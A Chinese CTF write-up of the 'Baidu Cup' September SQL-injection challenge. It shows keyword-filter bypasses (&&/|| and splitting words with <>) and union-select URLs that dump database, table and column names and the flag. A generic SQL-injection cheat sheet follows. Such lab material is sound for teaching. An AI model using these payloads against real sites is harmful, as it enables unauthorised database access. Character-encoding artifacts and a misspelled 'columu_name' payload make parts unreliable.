“百度杯”CTF比賽 九月場SQL

題目描述

解題工具;
瀏覽器:火狐瀏覽器
工具;火狐瀏覽器插件HackBar

題目界面;
每個人的url都是不一樣的,隨機根據(jù)系統(tǒng)生成的。


image.png

剛開始輸入and 1=1 發(fā)現(xiàn)被攔截,截圖如下


第一步嘗試

接著測試or 1=1 情況是一樣的


第二步嘗試

我們使用字符&&和||替換and和or


第三步嘗試

發(fā)現(xiàn)成功繞過
Ok,接下來猜字段長度


第一步嘗試

發(fā)現(xiàn)order by被攔截
同樣注釋/**/也會被攔截。嘗試用<>把字符隔開。這里需要注意or<>der隔開是不對的,因為or又是一個被攔截的字符
第二步嘗試

接下來開始正式注入

在注入的時候select會被攔截,同樣我們用<>把字符分開即可


第一步

界面出現(xiàn)2,就在2的位置進行注入
接下來是常規(guī)注入,直接貼圖。中途遇到被攔截的字符用<>分開即可
查詢當前使用的數(shù)據(jù)庫名

http://d31d217bb25c40fda80708104ba4f7ca648078f2d4ca4728.game.ichunqiu.com/index.php?id=1 union se<>lect 1,database(),3
第二步

查詢數(shù)據(jù)表

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli' 
第三步

查詢字段

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,columu_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info'
第四步

查詢數(shù)據(jù)

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info
第五步

里面涉及很多sql注入語句:
測試SQL注入
1,判斷有無注入點
整型參數(shù)判斷
三種方式: 直接加',and 1=1,and 1=2
如果1,3運行異常2正常就存在注入
字符型判斷
直接加' and '1'='1' and '1'='2'
搜索型:關鍵字%' and 1=1 and '%'='%'
關鍵字%' and 1=2 and '%'='%'
若1,3運行異常,2正常就存在注入
即執(zhí)行語句:select * from user where 1=1 and 1=2
此查詢語句中1=1的結果為1,因此此語句的查詢結果不為0,這樣該用戶沒有使用正確的用戶名和密碼也可以登陸成功
2,測試字段數(shù)
http://localhost/index.php?id=1 order by 字段數(shù)
3,查詢數(shù)據(jù)庫信息
database() 當前使用的數(shù)據(jù)庫名
4,查詢數(shù)據(jù)表
http://localhost/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 數(shù)據(jù)庫名hex值
5,查詢字段
http://localhost/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 數(shù)據(jù)表名hex值
6,查詢數(shù)據(jù)
http://localhost/index.php?id=1 union select 字段名,字段名,字段名 from 數(shù)據(jù)表
參考1
參考2

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容